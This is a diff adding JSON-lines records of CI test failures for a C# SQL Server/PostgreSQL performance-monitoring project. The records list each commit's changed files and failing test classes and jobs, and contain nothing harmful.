+{"date":"2026-09-25","head_sha":"89478c39d22ca3837bfd33eebda345998b88ad41","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingQueryHeatmapBudgetLiveTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryHeatmapTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryHeatmapBudgetTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryHeatmap.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"b0b0b85e4ac609c54c3496f4bf615b0e7d72cc5e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs","Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/McpToolsListBudget/McpSessionTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpSessionTools.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"2fddf918c05c7ffde2238887e36e5ca3a24708ad","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ObjectLockingBudgetLiveTests.cs","Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/ObjectLockingBudgetTests.cs","Lite/Mcp/McpObjectStatsTools.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"76c59f4f7735dfc6a3efb91d120100cdf328171f","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpBlockingBudgetLiveTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/McpToolsListBudget/McpBlockingTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpBlockingTools.cs"],"failed_classes":["Darling.Tests.McpToolGuideHeadsBlockingSlotsTests","Darling.Tests.McpToolGuideTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"7abb4ad6edba9db3061c7175a2288056885fb0dd","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthPayloadBudgetLiveTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Lite.Tests/CollectionHealthPayloadBudgetToolTests.cs","Lite/Mcp/McpHealthTools.cs"],"failed_classes":["Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-25","head_sha":"f5e001fe65c307fc4fb91ca714398a8a65fae236","event":"push","changed_files":["Darling/Darling.Tests/DarlingQueryHeatmapBudgetLiveTests.cs","Darling/Darling.Tests/DarlingQueryHeatmapTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryHeatmapTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryHeatmapBudgetTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryHeatmap.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"659e11a39b4765eefa09fb8ea735dbbcd65eaa97","event":"push","changed_files":["Darling/Darling.Tests/AvailabilityGroupCountReadTests.cs","Darling/Darling.Tests/DarlingAgReaderTests.cs","Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs","Darling/Darling.Tests/DarlingAgStatesReaderTests.cs","Darling/Darling.Tests/ViewerAvailabilityGroupsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingAgStatesReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AvailabilityGroups.cs","Lite.Tests/AgAvailabilityGroupNewestSnapshotEqualityTests.cs","Lite/Services/LocalDataService.AvailabilityGroups.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"78630b525eb490c4265d858e5cedc9df6ec113fd","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpBlockingBudgetLiveTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/McpToolsListBudget/McpBlockingTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpBlockingTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.McpToolGuideHeadsBlockingSlotsTests","Darling.Tests.McpToolGuideTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"43cacc218313cac06b83beeda82f16d7d1ae30fe","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthPayloadBudgetLiveTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Lite.Tests/CollectionHealthPayloadBudgetToolTests.cs","Lite.Tests/McpToolsListBudget/McpHealthTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpHealthTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"f1a1894fd8559983d82a57e4d2f6ecdfe01b2250","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"171b60e5cb52e5c0e75f2d950217c26132c797ee","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpBlockingBudgetLiveTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpBlockingTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/McpToolsListBudget/McpBlockingTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpBlockingTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"69ce7ff7beb259a633138f93968afe0e532a95a2","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"4b3fe51a977924fd19dd5b271db3fee82f80c93d","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.SerialLoopStoreSizeSourceTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"2c39e009ffe0ec21ddebfd547140388415ebd688","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingMcpCustomViewCatalogSizeTests.cs","Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"d7c5592f94ecdf9af6f7e0dab97830abac69e894","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/QueryStoreTopBudgetLiveTests.cs","Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs","Darling/Darling.Tests/QueryStoreTopWindowTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryStoreTopBudgetTests.cs","Lite/Mcp/McpQueryTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"ed114b5b1724c71a674198254cacb39da0bf39d9","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpObjectStatsToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpObjectStatsTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/ObjectLockingBudgetLiveTests.cs","Darling/Darling.Tests/ObjectLockingWebDefaultTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/ObjectLockingBudgetTests.cs","Lite/Mcp/McpObjectStatsTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"3747867b5a50941776f5e38f55b881627b636dfd","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/TsqlConventionGuardTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.SerialLoopStoreSizeSourceTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"89c271dd17dbbec23a28a235602ef0fd1952f224","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpActiveQueriesBudgetLiveTests.cs","Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Lite.Tests/McpPageContractTests.cs","Lite.Tests/McpToolsListBudget/McpSessionTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpSessionTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"d0fb0ff183d7cfc588231b3e34ce48fbb64ff5e1","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpQueryStoreRegressionsBudgetLiveTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/QueryStoreRegressionsWebDefaultTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryStoreRegressionsBudgetTests.cs","Lite/Mcp/McpQueryTools.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"354fc65faf06be290189179111773efcb9347a33","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionLogWebRowPreservesFullTextPinTests.cs","Darling/Darling.Tests/McpCollectionLogPerServerResponseBudgetLivePostgresTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/CollectionLogPerServerResponseBudgetToolTests.cs","Lite.Tests/McpToolsListBudget/McpHealthTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpHealthTools.cs","PerformanceMonitor.Common/Mcp/McpResponseBudget.cs"],"failed_classes":["Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"46d28fd5f39ccfba6e8678d1caa540e3daf0ef9b","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingMcpCustomViewCatalogSizeTests.cs","Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpCustomViewTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"3ad2d3870172cdb49b25eaaca3404f2fc187de4c","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileLiveTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/Darling.Tests/TsqlConventionGuardTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/README.md"],"failed_classes":["Darling.Tests.DarlingMissingCredentialMessageTests","Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"d534e587ae80fe765509cc400583a26eed991d9f","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs","Darling/Darling.Tests/DailySummaryNotCarriedTests.cs","Darling/Darling.Tests/DailySummaryReadShapeTests.cs","Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs","Darling/Darling.Tests/MeasurementContractCensusTests.cs","Darling/Darling.Tests/PayloadDimensionLiveTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs","Darling/Darling.Tests/RefreshCeilingStalenessTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/RollupBackfillTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/Darling.Tests/SuccessorDailyLiveTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.FrozenRollupLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"37985a3c9dac392d51d767ba410f527b27c49bf1","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpQueryStoreRegressionsBudgetLiveTests.cs","Darling/Darling.Tests/DarlingQueryStoreRegressionsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreRegressionTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/QueryStoreRegressionsWebDefaultTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryStoreRegressionsBudgetTests.cs","Lite/Mcp/McpQueryTools.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"772b0736064a167bc49ef03c876c92298d22b631","event":"pull_request","changed_files":["Lite.Tests/QueryWindowTruncationTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests","Darling.Tests.McpToolGuideTests","Lite.Tests.McpToolGuideHeadsCollectionLogTests","Lite.Tests.McpToolGuideHeadsDataTests","Lite.Tests.McpToolGuideTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (2)","Darling PG tests (0)","build","Lite tests (3)","Lite tests (1)"]}
+{"date":"2026-09-25","head_sha":"6e80eb9ca038b80ea6f5b74f6446e249a3374295","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisAsOfAnchorTests.cs","Darling/Darling.Tests/DarlingMcpAnalysisFindingsBudgetLiveTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/AnalysisAsOfAnchorTests.cs","Lite.Tests/McpAnalysisFindingsCommandTests.cs","Lite.Tests/McpToolsListBudget/McpAnalysisTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpAnalysisTools.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"e7e7d3b6b0457b99f6d19471c97198de76bf4408","event":"pull_request","changed_files":["Lite.Tests/QueryWindowTruncationTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.Slicers.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests","Darling.Tests.McpToolGuideTests","Lite.Tests.McpToolGuideHeadsCollectionLogTests","Lite.Tests.McpToolGuideHeadsDataTests","Lite.Tests.McpToolGuideTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Lite tests (1)","Darling PG tests (1)","Darling PG tests (0)","Lite tests (3)","Lite tests (2)"]}
+{"date":"2026-09-25","head_sha":"07496c9a85a55c83f4256856fd31a6a0c076a347","event":"push","changed_files":["Darling/Darling.Tests/AnalysisAsOfAnchorTests.cs","Darling/Darling.Tests/DarlingMcpAnalysisFindingsBudgetLiveTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/AnalysisAsOfAnchorTests.cs","Lite.Tests/McpAnalysisFindingsCommandTests.cs","Lite.Tests/McpToolsListBudget/McpAnalysisTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite/Mcp/McpAnalysisTools.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"ed146a61d650888740e1ceb3f55070e6ec13fca9","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreHostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs"],"failed_classes":["Darling.Tests.DarlingMcpFleetSweepToolsTests","Darling.Tests.McpToolsListBudgetTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["Darling PG tests (1)","build","Lite tests (1)"]}
+{"date":"2026-09-25","head_sha":"35e0767f76f61dcc2598a68c27673ff270cd6e0b","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreHostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingMcpFleetSweepToolsTests","Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (1)","build"]}
